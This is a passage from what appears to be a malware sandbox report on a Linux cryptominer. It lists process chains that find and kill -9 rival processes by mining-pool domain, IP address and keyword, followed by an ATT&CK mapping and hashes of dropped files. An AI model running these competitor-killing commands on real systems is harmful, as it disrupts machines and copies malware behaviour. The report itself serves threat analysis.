  2⤵
  PID:1529
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1531
- /bin/grep
  grep -v grep
  2⤵
  PID:1528
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1532
- /bin/ps
  ps aux
  2⤵
  PID:1527
- /bin/grep
  grep curl
  2⤵
  PID:1536
- /bin/grep
  grep nullcrew
  2⤵
  PID:1535
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1537
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1538
- /bin/grep
  grep -v grep
  2⤵
  PID:1534
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1533
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1542
- /bin/grep
  grep 107.174.47.156
  2⤵
  PID:1541
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1543
- /bin/grep
  grep -v grep
  2⤵
  PID:1540
- /bin/ps
  ps aux
  2⤵
  PID:1539
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1547
- /bin/grep
  grep 83.220.169.247
  2⤵
  PID:1546
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1548
- /bin/grep
  grep -v grep
  2⤵
  PID:1545
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1544
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1552
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1553
- /bin/grep
  grep 51.38.203.146
  2⤵
  PID:1551
- /bin/grep
  grep -v grep
  2⤵
  PID:1550
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1549
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1557
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1558
- /bin/grep
  grep 144.217.45.45
  2⤵
  PID:1556
- /bin/grep
  grep -v grep
  2⤵
  PID:1555
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1554
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1562
- /bin/grep
  grep 107.174.47.181
  2⤵
  PID:1561
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1563
- /bin/grep
  grep -v grep
  2⤵
  PID:1560
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1559
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1567
- /bin/grep
  grep 176.31.6.16
  2⤵
  PID:1566
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1568
- /bin/grep
  grep -v grep
  2⤵
  PID:1565
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1564
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1572
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1573
- /bin/grep
  grep mine.moneropool.com
  2⤵
  PID:1571
- /bin/grep
  grep -v grep
  2⤵
  PID:1570
- /bin/ps
  ps auxf
  2⤵
  - Reads CPU attributes
  PID:1569
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1577
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1578
- /bin/grep
  grep pool.t00ls.ru
  2⤵
  PID:1576
- /bin/grep
  grep -v grep
  2⤵
  PID:1575
- /bin/ps
  ps auxf
  2⤵
  - Reads runtime system information
  PID:1574
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1582
- /bin/grep
  grep xmr.crypto-pool.fr:8080
  2⤵
  PID:1581
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1583
- /bin/grep
  grep -v grep
  2⤵
  PID:1580
- /bin/ps
  ps auxf
  2⤵
  PID:1579
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1587
- /bin/grep
  grep xmr.crypto-pool.fr:3333
  2⤵
  PID:1586
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1588
- /bin/grep
  grep -v grep
  2⤵
  PID:1585
- /bin/ps
  ps auxf
  2⤵
  - Reads runtime system information
  PID:1584
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1592
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1593
- /bin/grep
  grep "[email protected]"
  2⤵
  PID:1591
- /bin/grep
  grep -v grep
  2⤵
  PID:1590
- /bin/ps
  ps auxf
  2⤵
  - Reads CPU attributes
  PID:1589
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1597
- /bin/grep
  grep monerohash.com
  2⤵
  PID:1596
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1598
- /bin/grep
  grep -v grep
  2⤵
  PID:1595
- /bin/ps
  ps auxf
  2⤵
  PID:1594
- /bin/grep
  grep /tmp/a7b104c270
  2⤵
  PID:1601
- /bin/grep
  grep -v grep
  2⤵
  PID:1600
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1602
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1603
- /bin/ps
  ps auxf
  2⤵
  PID:1599

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Sudo and Sudo Caching

T1548.003

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Sudo and Sudo Caching

T1548.003

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/log_rot

Filesize
5B

MD5
727479ef7cedf30c03459bec7d87b0f0

SHA1
2082e7f715f058acab2398d25d135cf5f4c0ce41

SHA256
29872037c9573567744ef10ed2de57864ded7554c9fa2ef03fc1244c65794ba6

SHA512
4cb59d37f8481f9bb2745f494baa0910a68aad40ac2903ef1513547e091e1e772a5f9436f789ab91fcafb75b8a28c2112ede89004be41f33c01d936b542ca6ba

Download Submit
/var/mail/user

Filesize
825B

MD5
251eb9576959c1a7e1941be176df4345

SHA1
5cd184a580ab6ac16658fd28b7c3fed6667cbfeb

SHA256
d149cdd7d72fba9f7d45d1369218fd1eebe4e4f9382b96970b789e496d3316d7

SHA512
b6b2ed2ccc55152e6137c526dca85efc216b2121703c287fc131dad6658c68a44e427119b35003a53ea53bf9175c740c02de74850ed5e414205bd1fb7029cee4

Download Submit
/var/mail/user

Filesize
1KB

MD5
d1f9d2570f9cd213923bee931c7cbdf0

SHA1
8a272f6fe2ae1fa5262f6912b32ec9ba1e3b6420

SHA256
f6d5f9a92116196329dece92cde027fd99d2f9341f9e7ba763dc498296377c24

SHA512
499c93c25db8fb15b493ee05639524120216dec2e0344099ce23baff72aee95daddb3595f19f9d2765eae3ffa2e66d269febfcc88953a546792effb3b8b5a48f

Download Submit
/var/spool/exim4/input/1sq0yu-0000Bt-FP-D

Filesize
128B

MD5
eb15048f9790a3cb73411db46960732e

SHA1
372af76e055aeeaa4a8de719dfed710dc448e724

SHA256
f2d10813639cf0c51de6a60b7381f35fe4da6202579cfcef5194cf2750f5e78d

SHA512
6346ef5a004d7e146e191331254ee9915329eb0c44a700932e9baac7a9c169bf56c9dc0ad6a4bd702170755dd7bde9a492f2f450790d71973a174674c74850cd

Download Submit
/var/spool/exim4/input/1sq0yu-0000Bt-FP-J

Filesize
34B

MD5
d7d96d63d643a4ce3e408eba7dfcedc5

SHA1
c53607f95c5c57beafc1d8266646797a035f76ea

SHA256
21db3a59b2d0ce18fb250b787d6e2c85d12919f5fdf1448c8f48207c4083b159

SHA512
703a03e54776a6ad9b8adc6c475bbc91c06502618fa3b6f495b1a01a4f6f7aa6fb65dc6ba6885ddc6af961627062f1ce1e1d66688288cbd3bef7754d249fa9b3

Download Submit
/var/spool/exim4/input/1sq0yu-0000Bx-Fq-D

Filesize
146B

MD5
a650b957ceea3dbce1d7f5600477a018

SHA1
a9775f766f4ec8c6504b97947bbff08407e451c5

SHA256
fa2841744c6e57702ba8d4c8312cd9c0c8d42c22e66b47ff252caa2cb75ac137

SHA512
5a520ebd9309f1d7cbd19a52e477fa8c7a662798137845c9d0c8be31122373137b251292d5b607ebbacd14412f9067fd7623b6e75cb8103b3be4e98d49c1f645

Download Submit
/var/spool/exim4/msglog/1sq0yu-0000Bt-FP

Filesize
288B

MD5
00d97415601cf971538c3d6f0632e2cd

SHA1
2eecc69592a6f2cbbc89b68f2dd5fd5d042215ee

SHA256
f9a06122196345281f7fd6eb1d18ae07d1d05fc90e091bfde8c4cec68c82595c

SHA512
ef6c9b2bc696f13b081767aabdfadf5c28825aeebd1a0e6830f47de1c68a9de314374f27c292dd57b485f6c0cb51cd98f78721bcaabde208468b425171456a02

Download Submit
/var/spool/exim4/msglog/1sq0yu-0000Bt-FP

Filesize
89B

MD5
3f77d7c1784aac507983e1189bc5e9f2

SHA1
4d770ab6805159f9a8e541093aaafb822fee1b93

SHA256
053f7e6422ddf8b9e3d1bc1f91d817ea574e5d006908660c09c313756f564a46

SHA512
498f052d1d9d3ea3d3972f582fdcb125022a697bce78fba0b6659fe687aa1daf42752beb217c440e90ab11b10efa7588880fd9bf7ffd24e8f779904ddc001338

Download Submit
/var/spool/exim4/msglog/1sq0yu-0000Bx-Fq

Filesize
288B

MD5
737816cdf40d94b8fdd840fc5a1c6c9a

SHA1
1ee449157a7069280d795ac508daddcb00ee9202

SHA256
424f78b1614743ce5ad8a565750a4f290c9c1960e0697dc3ddc5c06837444114

SHA512
c8311b0164f4fd75dc9517dfc1ce9beec097bf368673072451456f6bec4f9af3d9c7c8aa15eb25e8e1e41aaa15e6302c77346a2d6474b4a534e58f16a498c2d8

Download Submit
/var/spool/exim4/msglog/1sq0yu-0000Bx-Fq

Filesize
89B

MD5
654bc0277c21a7061ebbd8cebcbdeeda

SHA1
7ef4943d9d6dd3830f8aad560977ea60f41fa181

SHA256
10f90ca06a5433f233ebf46a00375578e42d7253306946041be3e135d873c1e9

SHA512
255bcdba74e2bf5ce85f5ac49d4198becb7627428346c321ca76888e12245ae76c4bb73b56ecb314da822493748d9db2491b061d90ab4e9c8a51702fdc13fe8d

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads